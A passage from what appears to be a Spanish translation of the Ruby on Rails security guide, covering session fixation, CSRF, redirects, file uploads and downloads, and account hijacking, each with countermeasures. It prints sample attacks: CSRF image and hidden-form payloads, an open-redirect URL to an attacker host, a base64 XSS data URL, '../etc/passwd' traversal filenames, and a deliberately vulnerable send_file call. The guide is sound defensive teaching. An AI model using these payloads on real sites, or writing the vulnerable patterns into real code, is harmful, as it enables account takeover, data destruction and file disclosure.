<li>El atacante atrae a la víctima a la página infectada con el código JavaScript. Al ver la página, el navegador de la víctima cambiará el ID de sesión al ID de sesión trampa.</li>
<li>Como la nueva sesión trampa no se usa, la aplicación web requerirá que el usuario se autentique.</li>
<li>A partir de ahora, la víctima y el atacante co-usarán la aplicación web con la misma sesión: la sesión se volvió válida y la víctima no notó el ataque.</li>
</ul>
<h3 id="fijación-de-sesión-contramedidas"><a class="anchorlink" href="#fijación-de-sesión-contramedidas"><span>2.7</span> Fijación de Sesión - Contramedidas</a></h3><p>CONSEJO: <em>Una línea de código te protegerá de la fijación de sesión.</em></p><p>La contramedida más efectiva es <em>emitir un nuevo identificador de sesión</em> y declarar el antiguo como inválido después de un inicio de sesión exitoso. De esa manera, un atacante no puede usar el identificador de sesión fijado. Esta es también una buena contramedida contra el secuestro de sesión. Aquí está cómo crear una nueva sesión en Rails:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">reset_session</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="reset_session
">Copy</button>
</div>
<p>Si usas la popular gema <a href="https://rubygems.org/gems/devise">Devise</a> para la gestión de usuarios, automáticamente expirará las sesiones al iniciar y cerrar sesión por ti. Si lo haces por tu cuenta, recuerda expirar la sesión después de tu acción de inicio de sesión (cuando se crea la sesión). Esto eliminará valores de la sesión, por lo tanto, <em>tendrás que transferirlos a la nueva sesión</em>.</p><p>Otra contramedida es <em>guardar propiedades específicas del usuario en la sesión</em>, verificarlas cada vez que llega una solicitud y denegar el acceso si la información no coincide. Dichas propiedades podrían ser la dirección IP remota o el agente de usuario (el nombre del navegador web), aunque este último es menos específico del usuario. Al guardar la dirección IP, debes tener en cuenta que hay proveedores de servicios de Internet u organizaciones grandes que colocan a sus usuarios detrás de proxies. <em>Estos podrían cambiar durante el transcurso de una sesión</em>, por lo que estos usuarios no podrán usar tu aplicación, o solo de manera limitada.</p><h3 id="expiración-de-sesión"><a class="anchorlink" href="#expiración-de-sesión"><span>2.8</span> Expiración de Sesión</a></h3><p>NOTA: <em>Las sesiones que nunca expiran extienden el marco de tiempo para ataques como la falsificación de solicitudes entre sitios (CSRF), el secuestro de sesión y la fijación de sesión.</em></p><p>Una posibilidad es establecer la marca de tiempo de expiración de la cookie con el ID de sesión. Sin embargo, el cliente puede editar cookies que se almacenan en el navegador web, por lo que expirar sesiones en el servidor es más seguro. Aquí hay un ejemplo de cómo <em>expirar sesiones en una tabla de base de datos</em>. Llama a <code>Session.sweep(20.minutes)</code> para expirar sesiones que se usaron hace más de 20 minutos.</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="k">class</span> <span class="nc">Session</span> <span class="o"><</span> <span class="no">ApplicationRecord</span>
<span class="k">def</span> <span class="nc">self</span><span class="o">.</span><span class="nf">sweep</span><span class="p">(</span><span class="n">time</span> <span class="o">=</span> <span class="mi">1</span><span class="p">.</span><span class="nf">hour</span><span class="p">)</span>
<span class="n">where</span><span class="p">(</span><span class="ss">updated_at: </span><span class="o">...</span><span class="n">time</span><span class="p">.</span><span class="nf">ago</span><span class="p">).</span><span class="nf">delete_all</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="class Session < ApplicationRecord
def self.sweep(time = 1.hour)
where(updated_at: ...time.ago).delete_all
end
end
">Copy</button>
</div>
<p>La sección sobre fijación de sesión introdujo el problema de las sesiones mantenidas. Un atacante que mantiene una sesión cada cinco minutos puede mantener la sesión viva para siempre, aunque estés expirando sesiones. Una solución simple para esto sería agregar una columna <code>created_at</code> a la tabla de sesiones. Ahora puedes eliminar sesiones que se crearon hace mucho tiempo. Usa esta línea en el método sweep anterior:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">where</span><span class="p">(</span><span class="ss">updated_at: </span><span class="o">...</span><span class="n">time</span><span class="p">.</span><span class="nf">ago</span><span class="p">).</span><span class="nf">or</span><span class="p">(</span><span class="n">where</span><span class="p">(</span><span class="ss">created_at: </span><span class="o">...</span><span class="mi">2</span><span class="p">.</span><span class="nf">days</span><span class="p">.</span><span class="nf">ago</span><span class="p">)).</span><span class="nf">delete_all</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="where(updated_at: ...time.ago).or(where(created_at: ...2.days.ago)).delete_all
">Copy</button>
</div>
<h2 id="falsificación-de-solicitud-entre-sitios-csrf"><a class="anchorlink" href="#falsificación-de-solicitud-entre-sitios-csrf"><span>3</span> Falsificación de Solicitud entre Sitios (CSRF)</a></h2><p>Este método de ataque funciona al incluir código malicioso o un enlace en una página que accede a una aplicación web en la que se cree que el usuario ha autenticado. Si la sesión para esa aplicación web no ha expirado, un atacante puede ejecutar comandos no autorizados.</p><p><img src="images/security/csrf.png" alt="Falsificación de Solicitud entre Sitios"></p><p>En el <a href="#sessions">capítulo de sesiones</a> has aprendido que la mayoría de las aplicaciones Rails usan sesiones basadas en cookies. Ya sea que almacenen el ID de sesión en la cookie y tengan un hash de sesión en el lado del servidor, o todo el hash de sesión esté en el lado del cliente. En cualquier caso, el navegador enviará automáticamente la cookie en cada solicitud a un dominio, si puede encontrar una cookie para ese dominio. El punto controversial es que si la solicitud proviene de un sitio de un dominio diferente, también enviará la cookie. Comencemos con un ejemplo:</p>
<ul>
<li>Bob navega por un foro de mensajes y ve una publicación de un hacker donde hay un elemento de imagen HTML diseñado. El elemento hace referencia a un comando en la aplicación de gestión de proyectos de Bob, en lugar de un archivo de imagen: <code><img src="http://www.webapp.com/project/1/destroy"></code></li>
<li>La sesión de Bob en <code>www.webapp.com</code> aún está activa, porque no cerró sesión hace unos minutos.</li>
<li>Al ver la publicación, el navegador encuentra una etiqueta de imagen. Intenta cargar la imagen sospechosa desde <code>www.webapp.com</code>. Como se explicó antes, también enviará la cookie con el ID de sesión válido.</li>
<li>La aplicación web en <code>www.webapp.com</code> verifica la información del usuario en el hash de sesión correspondiente y destruye el proyecto con el ID 1. Luego devuelve una página de resultado que es un resultado inesperado para el navegador, por lo que no mostrará la imagen.</li>
<li>Bob no nota el ataque, pero unos días después descubre que el proyecto número uno ha desaparecido.</li>
</ul>
<p>Es importante notar que la imagen o enlace diseñado no necesariamente tiene que estar situado en el dominio de la aplicación web, puede estar en cualquier lugar, en un foro, publicación de blog o correo electrónico.</p><p>CSRF aparece muy raramente en CVE (Vulnerabilidades y Exposiciones Comunes), menos del 0.1% en 2006, pero realmente es un 'gigante dormido' [Grossman]. Esto está en marcado contraste con los resultados en muchos trabajos de contratos de seguridad: <em>CSRF es un problema de seguridad importante</em>.</p><h3 id="contramedidas-de-csrf"><a class="anchorlink" href="#contramedidas-de-csrf"><span>3.1</span> Contramedidas de CSRF</a></h3><p>NOTA: <em>Primero, como lo requiere el W3C, usa GET y POST apropiadamente. En segundo lugar, un token de seguridad en solicitudes no-GET protegerá tu aplicación de CSRF.</em></p><h4 id="usa-get-y-post-apropiadamente"><a class="anchorlink" href="#usa-get-y-post-apropiadamente"><span>3.1.1</span> Usa GET y POST Apropiadamente</a></h4><p>El protocolo HTTP básicamente proporciona dos tipos principales de solicitudes: GET y POST (DELETE, PUT y PATCH deben usarse como POST). El Consorcio World Wide Web (W3C) proporciona una lista de verificación para elegir HTTP GET o POST:</p><p><strong>Usa GET si:</strong></p>
<ul>
<li>La interacción es más <em>como una pregunta</em> (es decir, es una operación segura como una consulta, operación de lectura o búsqueda).</li>
</ul>
<p><strong>Usa POST si:</strong></p>
<ul>
<li>La interacción es más <em>como una orden</em>, o</li>
<li>La interacción <em>cambia el estado</em> del recurso de una manera que el usuario percibiría (por ejemplo, una suscripción a un servicio), o</li>
<li>El usuario es <em>responsable de los resultados</em> de la interacción.</li>
</ul>
<p>Si tu aplicación web es RESTful, podrías estar acostumbrado a verbos HTTP adicionales, como PATCH, PUT o DELETE. Sin embargo, algunos navegadores web heredados no los soportan, solo GET y POST. Rails utiliza un campo oculto <code>_method</code> para manejar estos casos.</p><p><em>Las solicitudes POST también se pueden enviar automáticamente</em>. En este ejemplo, el enlace <a href="http://www.harmless.com">www.harmless.com</a> se muestra como el destino en la barra de estado del navegador. Pero en realidad ha creado dinámicamente un nuevo formulario que envía una solicitud POST.</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><a</span> <span class="na">href=</span><span class="s">"http://www.harmless.com/"</span> <span class="na">onclick=</span><span class="s">"
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;"</span><span class="nt">></span>To the harmless survey<span class="nt"></a></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<a href="http://www.harmless.com/" onclick="
var f = document.createElement('form');
f.style.display = 'none';
this.parentNode.appendChild(f);
f.method = 'POST';
f.action = 'http://www.example.com/account/destroy';
f.submit();
return false;">To the harmless survey</a>
">Copy</button>
</div>
<p>O el atacante coloca el código en el controlador de eventos onmouseover de una imagen:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><img</span> <span class="na">src=</span><span class="s">"http://www.harmless.com/img"</span> <span class="na">width=</span><span class="s">"400"</span> <span class="na">height=</span><span class="s">"400"</span> <span class="na">onmouseover=</span><span class="s">"..."</span> <span class="nt">/></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<img src="http://www.harmless.com/img" width="400" height="400" onmouseover="..." />
">Copy</button>
</div>
<p>Hay muchas otras posibilidades, como usar una etiqueta <code><script></code> para hacer una solicitud de sitio cruzado a una URL con una respuesta JSONP o JavaScript. La respuesta es un código ejecutable que el atacante puede encontrar una manera de ejecutar, posiblemente extrayendo datos sensibles. Para protegerse contra esta fuga de datos, debemos deshabilitar las etiquetas <code><script></code> de sitio cruzado. Sin embargo, las solicitudes Ajax obedecen la política de mismo origen del navegador (solo tu propio sitio puede iniciar <code>XmlHttpRequest</code>), por lo que podemos permitirles devolver respuestas JavaScript de manera segura.</p><p>NOTA: No podemos distinguir el origen de una etiqueta <code><script></code>—si es una etiqueta en tu propio sitio o en algún otro sitio malicioso—por lo que debemos bloquear todas las <code><script></code> en general, incluso si en realidad es un script seguro de mismo origen servido desde tu propio sitio. En estos casos, omite explícitamente la protección CSRF en acciones que sirvan JavaScript destinado a una etiqueta <code><script></code>.</p><h4 id="token-de-seguridad-requerido"><a class="anchorlink" href="#token-de-seguridad-requerido"><span>3.1.2</span> Token de Seguridad Requerido</a></h4><p>Para protegerse contra todas las demás solicitudes falsificadas, introducimos un <em>token de seguridad requerido</em> que nuestro sitio conoce pero que otros sitios no conocen. Incluimos el token de seguridad en las solicitudes y lo verificamos en el servidor. Esto se hace automáticamente cuando <a href="configuring.html#config-action-controller-default-protect-from-forgery"><code>config.action_controller.default_protect_from_forgery</code></a> está configurado en <code>true</code>, que es el valor predeterminado para las aplicaciones Rails recién creadas. También puedes hacerlo manualmente agregando lo siguiente a tu controlador de aplicación:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">protect_from_forgery</span> <span class="ss">with: :exception</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="protect_from_forgery with: :exception
">Copy</button>
</div>
<p>Esto incluirá un token de seguridad en todos los formularios generados por Rails. Si el
token de seguridad no coincide con lo esperado, se lanzará una excepción.</p><p>Al enviar formularios con <a href="https://turbo.hotwired.dev/">Turbo</a>, el
token de seguridad también es necesario. Turbo busca el token en las etiquetas
meta <code>csrf</code> de tu diseño de aplicación y lo agrega a la solicitud en el
encabezado de solicitud <code>X-CSRF-Token</code>. Estas etiquetas meta se crean con el
método auxiliar <a href="https://edgeapi.rubyonrails.org/classes/ActionView/Helpers/CsrfHelper.html#method-i-csrf_meta_tags"><code>csrf_meta_tags</code></a>:</p><div class="interstitial code">
<pre><code class="highlight erb"><span class="nt"><head></span>
<span class="cp"><%=</span> <span class="n">csrf_meta_tags</span> <span class="cp">%></span>
<span class="nt"></head></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<head>
<%= csrf_meta_tags %>
</head>
">Copy</button>
</div>
<p>lo que resulta en:</p><div class="interstitial code">
<pre><code class="highlight html"><span class="nt"><head></span>
<span class="nt"><meta</span> <span class="na">name=</span><span class="s">"csrf-param"</span> <span class="na">content=</span><span class="s">"authenticity_token"</span> <span class="nt">/></span>
<span class="nt"><meta</span> <span class="na">name=</span><span class="s">"csrf-token"</span> <span class="na">content=</span><span class="s">"THE-TOKEN"</span> <span class="nt">/></span>
<span class="nt"></head></span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="<head>
<meta name="csrf-param" content="authenticity_token" />
<meta name="csrf-token" content="THE-TOKEN" />
</head>
">Copy</button>
</div>
<p>Al hacer tus propias solicitudes no-GET desde JavaScript, el token de seguridad
también es requerido. <a href="https://github.com/rails/request.js">Rails Request.JS</a> es una
biblioteca de JavaScript que encapsula la lógica de agregar los encabezados de
solicitud requeridos.</p><p>Al usar otra biblioteca para hacer llamadas Ajax, es necesario agregar el
token de seguridad como un encabezado predeterminado tú mismo. Para obtener el token de la etiqueta meta
podrías hacer algo como:</p><div class="interstitial code">
<pre><code class="highlight javascript"><span class="nb">document</span><span class="p">.</span><span class="nx">head</span><span class="p">.</span><span class="nf">querySelector</span><span class="p">(</span><span class="dl">"</span><span class="s2">meta[name=csrf-token]</span><span class="dl">"</span><span class="p">)?.</span><span class="nx">content</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="document.head.querySelector("meta[name=csrf-token]")?.content
">Copy</button>
</div>
<h4 id="borrado-de-cookies-persistentes"><a class="anchorlink" href="#borrado-de-cookies-persistentes"><span>3.1.3</span> Borrado de Cookies Persistentes</a></h4><p>Es común usar cookies persistentes para almacenar información del usuario, con <code>cookies.permanent</code> por ejemplo. En este caso, las cookies no se borrarán y la protección CSRF de fábrica no será efectiva. Si estás usando un almacenamiento de cookies diferente al de la sesión para esta información, debes manejar qué hacer con ella tú mismo:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">rescue_from</span> <span class="no">ActionController</span><span class="o">::</span><span class="no">InvalidAuthenticityToken</span> <span class="k">do</span> <span class="o">|</span><span class="n">exception</span><span class="o">|</span>
<span class="n">sign_out_user</span> <span class="c1"># Método de ejemplo que destruirá las cookies del usuario</span>
<span class="k">end</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="rescue_from ActionController::InvalidAuthenticityToken do |exception|
sign_out_user # Método de ejemplo que destruirá las cookies del usuario
end
">Copy</button>
</div>
<p>El método anterior puede colocarse en el <code>ApplicationController</code> y se llamará cuando un token CSRF no esté presente o sea incorrecto en una solicitud no-GET.</p><p>Ten en cuenta que <em>las vulnerabilidades de cross-site scripting (XSS) eluden todas las protecciones CSRF</em>. XSS le da al atacante acceso a todos los elementos en una página, por lo que pueden leer el token de seguridad CSRF de un formulario o enviar el formulario directamente. Lee <a href="#cross-site-scripting-xss">más sobre XSS</a> más adelante.</p><h2 id="redirección-y-archivos"><a class="anchorlink" href="#redirección-y-archivos"><span>4</span> Redirección y Archivos</a></h2><p>Otra clase de vulnerabilidades de seguridad rodea el uso de redirección y archivos en aplicaciones web.</p><h3 id="redirección"><a class="anchorlink" href="#redirección"><span>4.1</span> Redirección</a></h3><p>ADVERTENCIA: <em>La redirección en una aplicación web es una herramienta de cracker subestimada: no solo el atacante puede redirigir al usuario a un sitio trampa, sino que también puede crear un ataque autónomo.</em></p><p>Siempre que se permita al usuario pasar (partes de) la URL para redireccionar, es posiblemente vulnerable. El ataque más obvio sería redirigir a los usuarios a una aplicación web falsa que se vea y se sienta exactamente como la original. Este ataque de phishing funciona enviando un enlace no sospechoso en un correo electrónico a los usuarios, inyectando el enlace mediante XSS en la aplicación web o colocando el enlace en un sitio externo. No es sospechoso, porque el enlace comienza con la URL de la aplicación web y la URL del sitio malicioso está oculta en el parámetro de redirección: <a href="http://www.example.com/site/redirect?to=www.attacker.com">http://www.example.com/site/redirect?to=www.attacker.com</a>. Aquí hay un ejemplo de una acción heredada:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="k">def</span> <span class="nf">legacy</span>
<span class="n">redirect_to</span><span class="p">(</span><span class="n">params</span><span class="p">.</span><span class="nf">update</span><span class="p">(</span><span class="ss">action: </span><span class="s1">'main'</span><span class="p">))</span>
<span class="k">end</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="def legacy
redirect_to(params.update(action: 'main'))
end
">Copy</button>
</div>
<p>Esto redirigirá al usuario a la acción principal si intentaron acceder a una acción heredada. La intención era preservar los parámetros de URL para la acción heredada y pasarlos a la acción principal. Sin embargo, puede ser explotado por un atacante si incluyeron una clave de host en la URL:</p><div class="interstitial code">
<pre><code class="highlight plaintext">http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
</code></pre>
<button class="clipboard-button" data-clipboard-text="http://www.example.com/site/legacy?param1=xy&param2=23&host=www.attacker.com
">Copy</button>
</div>
<p>Si está al final de la URL, apenas se notará y redirige al usuario al host <code>attacker.com</code>. Como regla general, pasar la entrada del usuario directamente a <code>redirect_to</code> se considera peligroso. Una contramedida simple sería <em>incluir solo los parámetros esperados en una acción heredada</em> (nuevamente un enfoque de lista permitida, en lugar de eliminar parámetros inesperados). <em>Y si rediriges a una URL, compruébala con una lista permitida o una expresión regular</em>.</p><h4 id="xss-autónomo"><a class="anchorlink" href="#xss-autónomo"><span>4.1.1</span> XSS Autónomo</a></h4><p>Otro ataque de redirección y XSS autónomo funciona en Firefox y Opera mediante el uso del protocolo de datos. Este protocolo muestra su contenido directamente en el navegador y puede ser cualquier cosa, desde HTML o JavaScript hasta imágenes completas:</p><p><code>data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K</code></p><p>Este ejemplo es un JavaScript codificado en Base64 que muestra una simple caja de mensaje. En una URL de redirección, un atacante podría redirigir a esta URL con el código malicioso en ella. Como contramedida, <em>no permitas que el usuario proporcione (partes de) la URL a la que se va a redirigir</em>.</p><h3 id="cargas-de-archivos"><a class="anchorlink" href="#cargas-de-archivos"><span>4.2</span> Cargas de Archivos</a></h3><p>NOTA: <em>Asegúrate de que las cargas de archivos no sobrescriban archivos importantes y procesa los archivos multimedia de forma asíncrona.</em></p><p>Muchas aplicaciones web permiten a los usuarios cargar archivos. <em>Los nombres de archivo, que el usuario puede elegir (en parte), siempre deben ser filtrados</em> ya que un atacante podría usar un nombre de archivo malicioso para sobrescribir cualquier archivo en el servidor. Si almacenas cargas de archivos en /var/www/uploads, y el usuario ingresa un nombre de archivo como "../../../etc/passwd", podría sobrescribir un archivo importante. Por supuesto, el intérprete de Ruby necesitaría los permisos apropiados para hacerlo, una razón más para ejecutar servidores web, servidores de bases de datos y otros programas como un usuario Unix menos privilegiado.</p><p>Al filtrar nombres de archivo de entrada del usuario, <em>no intentes eliminar partes maliciosas</em>. Piensa en una situación donde la aplicación web elimina todos los "../" en un nombre de archivo y un atacante usa una cadena como "....//", el resultado será "../". Es mejor usar un enfoque de lista permitida, que <em>verifica la validez de un nombre de archivo con un conjunto de caracteres aceptados</em>. Esto se opone a un enfoque de lista restringida que intenta eliminar caracteres no permitidos. En caso de que no sea un nombre de archivo válido, recházalo (o reemplaza los caracteres no aceptados), pero no los elimines. Aquí está el sanitizador de nombres de archivo del <a href="https://github.com/technoweenie/attachment_fu/tree/master">plugin attachment_fu</a>:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="k">def</span> <span class="nf">sanitize_filename</span><span class="p">(</span><span class="n">filename</span><span class="p">)</span>
<span class="n">filename</span><span class="p">.</span><span class="nf">strip</span><span class="p">.</span><span class="nf">tap</span> <span class="k">do</span> <span class="o">|</span><span class="nb">name</span><span class="o">|</span>
<span class="c1"># NOTA: File.basename no funciona bien con rutas de Windows en Unix</span>
<span class="c1"># obtener solo el nombre del archivo, no toda la ruta</span>
<span class="nb">name</span><span class="p">.</span><span class="nf">sub!</span><span class="p">(</span><span class="sr">/\A.*(\\|\/)/</span><span class="p">,</span> <span class="s1">''</span><span class="p">)</span>
<span class="c1"># Finalmente, reemplaza todos los caracteres no alfanuméricos, guiones bajos</span>
<span class="c1"># o puntos con guiones bajos</span>
<span class="nb">name</span><span class="p">.</span><span class="nf">gsub!</span><span class="p">(</span><span class="sr">/[^\w.-]/</span><span class="p">,</span> <span class="s1">'_'</span><span class="p">)</span>
<span class="k">end</span>
<span class="k">end</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="def sanitize_filename(filename)
filename.strip.tap do |name|
# NOTA: File.basename no funciona bien con rutas de Windows en Unix
# obtener solo el nombre del archivo, no toda la ruta
name.sub!(/\A.*(\\|\/)/, '')
# Finalmente, reemplaza todos los caracteres no alfanuméricos, guiones bajos
# o puntos con guiones bajos
name.gsub!(/[^\w.-]/, '_')
end
end
">Copy</button>
</div>
<p>Una desventaja importante del procesamiento sincrónico de cargas de archivos (como el plugin <code>attachment_fu</code> puede hacer con imágenes), es su <em>vulnerabilidad a ataques de denegación de servicio</em>. Un atacante puede iniciar de manera sincrónica cargas de archivos de imagen desde muchas computadoras, lo que aumenta la carga del servidor y puede eventualmente bloquear o detener el servidor.</p><p>La mejor solución para esto es <em>procesar archivos multimedia de forma asíncrona</em>: Guarda el archivo multimedia y programa una solicitud de procesamiento en la base de datos. Un segundo proceso se encargará del procesamiento del archivo en segundo plano.</p><h3 id="código-ejecutable-en-cargas-de-archivos"><a class="anchorlink" href="#código-ejecutable-en-cargas-de-archivos"><span>4.3</span> Código Ejecutable en Cargas de Archivos</a></h3><p>ADVERTENCIA: <em>El código fuente en archivos cargados puede ejecutarse cuando se coloca en directorios específicos. No coloques cargas de archivos en el directorio /public de Rails si es el directorio raíz de Apache.</em></p><p>El popular servidor web Apache tiene una opción llamada DocumentRoot. Este es el directorio raíz del sitio web, todo en este árbol de directorios será servido por el servidor web. Si hay archivos con una cierta extensión de nombre de archivo, el código en ellos se ejecutará cuando se solicite (podría requerir que se configuren algunas opciones). Ejemplos de esto son archivos PHP y CGI. Ahora piensa en una situación donde un atacante carga un archivo "file.cgi" con código en él, que se ejecutará cuando alguien descargue el archivo.</p><p><em>Si tu DocumentRoot de Apache apunta al directorio /public de Rails, no pongas cargas de archivos en él</em>, almacena archivos al menos un nivel más arriba.</p><h3 id="descargas-de-archivos"><a class="anchorlink" href="#descargas-de-archivos"><span>4.4</span> Descargas de Archivos</a></h3><p>NOTA: <em>Asegúrate de que los usuarios no puedan descargar archivos arbitrarios.</em></p><p>Así como debes filtrar nombres de archivo para cargas, debes hacerlo para descargas. El método <code>send_file()</code> envía archivos desde el servidor al cliente. Si usas un nombre de archivo que el usuario ingresó sin filtrar, cualquier archivo puede descargarse:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">send_file</span><span class="p">(</span><span class="s1">'/var/www/uploads/'</span> <span class="o">+</span> <span class="n">params</span><span class="p">[</span><span class="ss">:filename</span><span class="p">])</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="send_file('/var/www/uploads/' + params[:filename])
">Copy</button>
</div>
<p>Simplemente pasa un nombre de archivo como "../../../etc/passwd" para descargar la información de inicio de sesión del servidor. Una solución simple contra esto es <em>verificar que el archivo solicitado esté en el directorio esperado</em>:</p><div class="interstitial code">
<pre><code class="highlight ruby"><span class="n">basename</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">expand_path</span><span class="p">(</span><span class="s1">'../../files'</span><span class="p">,</span> <span class="n">__dir__</span><span class="p">)</span>
<span class="n">filename</span> <span class="o">=</span> <span class="no">File</span><span class="p">.</span><span class="nf">expand_path</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">join</span><span class="p">(</span><span class="n">basename</span><span class="p">,</span> <span class="vi">@file</span><span class="p">.</span><span class="nf">public_filename</span><span class="p">))</span>
<span class="k">raise</span> <span class="k">if</span> <span class="n">basename</span> <span class="o">!=</span> <span class="no">File</span><span class="p">.</span><span class="nf">expand_path</span><span class="p">(</span><span class="no">File</span><span class="p">.</span><span class="nf">dirname</span><span class="p">(</span><span class="n">filename</span><span class="p">))</span>
<span class="n">send_file</span> <span class="n">filename</span><span class="p">,</span> <span class="ss">disposition: </span><span class="s1">'inline'</span>
</code></pre>
<button class="clipboard-button" data-clipboard-text="basename = File.expand_path('../../files', __dir__)
filename = File.expand_path(File.join(basename, @file.public_filename))
raise if basename != File.expand_path(File.dirname(filename))
send_file filename, disposition: 'inline'
">Copy</button>
</div>
<p>Otro enfoque (adicional) es almacenar los nombres de archivo en la base de datos y nombrar los archivos en el disco según los IDs en la base de datos. Este también es un buen enfoque para evitar que el código posible en un archivo cargado se ejecute. El plugin <code>attachment_fu</code> hace esto de manera similar.</p><h2 id="gestión-de-usuarios"><a class="anchorlink" href="#gestión-de-usuarios"><span>5</span> Gestión de Usuarios</a></h2><p>NOTA: <em>Casi todas las aplicaciones web tienen que lidiar con autorización y autenticación. En lugar de hacer la tuya propia, es aconsejable usar complementos comunes. Pero mantenlos actualizados, también. Algunas precauciones adicionales pueden hacer que tu aplicación sea aún más segura.</em></p><p>Hay una serie de complementos de autenticación para Rails disponibles. Los buenos, como los populares <a href="https://github.com/heartcombo/devise">devise</a> y <a href="https://github.com/binarylogic/authlogic">authlogic</a>, solo almacenan contraseñas cifradas criptográficamente, no contraseñas en texto plano. Desde Rails 3.1 también puedes usar el método incorporado <a href="https://edgeapi.rubyonrails.org/classes/ActiveModel/SecurePassword/ClassMethods.html#method-i-has_secure_password"><code>has_secure_password</code></a> que admite hashing seguro de contraseñas, confirmación y mecanismos de recuperación.</p><h3 id="fuerza-bruta-de-cuentas"><a class="anchorlink" href="#fuerza-bruta-de-cuentas"><span>5.1</span> Fuerza Bruta de Cuentas</a></h3><p>NOTA: <em>Los ataques de fuerza bruta en cuentas son ataques de prueba y error en las credenciales de inicio de sesión. Defiéndete de ellos con mensajes de error más genéricos y posiblemente requiere ingresar un CAPTCHA.</em></p><p>Una lista de nombres de usuario para tu aplicación web puede ser mal utilizada para forzar brutalmente las contraseñas correspondientes, porque la mayoría de las personas no usan contraseñas sofisticadas. La mayoría de las contraseñas son una combinación de palabras del diccionario y posiblemente números. Entonces, armado con una lista de nombres de usuario y un diccionario, un programa automático puede encontrar la contraseña correcta en cuestión de minutos.</p><p>Debido a esto, la mayoría de las aplicaciones web mostrarán un mensaje de error genérico "nombre de usuario o contraseña incorrectos", si uno de estos no es correcto. Si dijera "el nombre de usuario que ingresaste no se ha encontrado", un atacante podría compilar automáticamente una lista de nombres de usuario.</p><p>Sin embargo, lo que la mayoría de los diseñadores de aplicaciones web descuidan son las páginas de recuperación de contraseña. Estas páginas a menudo admiten que el nombre de usuario o la dirección de correo electrónico ingresados (no) se han encontrado. Esto permite a un atacante compilar una lista de nombres de usuario y forzar brutalmente las cuentas.</p><p>Para mitigar tales ataques, <em>muestra un mensaje de error genérico en las páginas de recuperación de contraseña, también</em>. Además, puedes <em>requerir ingresar un CAPTCHA después de un número de inicios de sesión fallidos desde una cierta dirección IP</em>. Nota, sin embargo, que esta no es una solución a prueba de balas contra programas automáticos, porque estos programas pueden cambiar su dirección IP exactamente con la misma frecuencia. Sin embargo, eleva la barrera de un ataque.</p><h3 id="secuestro-de-cuenta"><a class="anchorlink" href="#secuestro-de-cuenta"><span>5.2</span> Secuestro de Cuenta</a></h3><p>Muchas aplicaciones web facilitan el secuestro de cuentas de usuario. ¿Por qué no ser diferente y hacerlo más difícil?.</p><h4 id="contraseñas"><a class="anchorlink" href="#contraseñas"><span>5.2.1</span> Contraseñas</a></h4><p>Piensa en una situación donde un atacante ha robado la cookie de sesión de un usuario y, por lo tanto, puede co-usar la aplicación. Si es fácil cambiar la contraseña, el atacante secuestrará la cuenta con unos pocos clics. O si el formulario de cambio de contraseña es vulnerable a CSRF, el atacante podrá cambiar la contraseña de la víctima atrayéndola a una página web donde hay una etiqueta IMG diseñada que hace el CSRF. Como contramedida, <em>haz que los formularios de cambio de contraseña sean seguros contra CSRF</em>, por supuesto. Y <em>requiere que el usuario ingrese la contraseña antigua al cambiarla</em>.</p><h4 id="correo-electrónico"><a class="anchorlink" href="#correo-electrónico"><span>5.2.2</span> Correo Electrónico</a></h4><p>Sin embargo, el atacante también puede tomar el control de la cuenta cambiando la dirección de correo electrónico. Después de cambiarla, irá a la página de contraseña olvidada y la contraseña (posiblemente nueva) se enviará a la dirección de correo electrónico del atacante. Como contramedida, <em>requiere que el usuario ingrese la contraseña al cambiar la dirección de correo electrónico, también</em>.</p><h4 id="otro"><a class="anchorlink" href="#otro"><span>5.2.3</span> Otro</a></h4><p>Dependiendo de tu aplicación web, puede haber más formas de secuestrar la cuenta del usuario. En muchos casos, CSRF y XSS ayudarán a hacerlo. Por ejemplo, como en una vulnerabilidad CSRF en <a href="https://www.gnucitizen.org/blog/google-gmail-e-mail-hijack-technique/">Google Mail</a>. En este ataque de prueba de concepto, la víctima habría sido atraída a un sitio web controlado por el atacante. En ese sitio hay una etiqueta IMG diseñada que resulta en una solicitud HTTP GET que cambia la configuración de filtros de Google Mail. Si la víctima estaba conectada a Google Mail, el atacante cambiaría los filtros para reenviar todos los correos electrónicos a su dirección de correo electrónico. Esto es casi tan perjudicial como secuestrar toda la cuenta. Como contramedida, <em>revisa la lógica de tu aplicación y elimina todas las vulnerabilidades de XSS y CSRF</em>.</p><h3 id="captchas"><a class="anchorlink" href="#captchas"><span>5.3</span> CAPTCHAs</a></h3><div class="interstitial info"><p><em>Un CAPTCHA es una prueba de desafío-respuesta para determinar que la respuesta no es generada por una computadora. A menudo se usa para proteger formularios de registro de atacantes y formularios de comentarios de bots de spam automáticos pidiendo al usuario que escriba las letras de una imagen distorsionada. Este es el CAPTCHA positivo, pero también existe el CAPTCHA negativo. La idea de un CAPTCHA negativo no es que un usuario demuestre que es humano, sino revelar que un robot es un 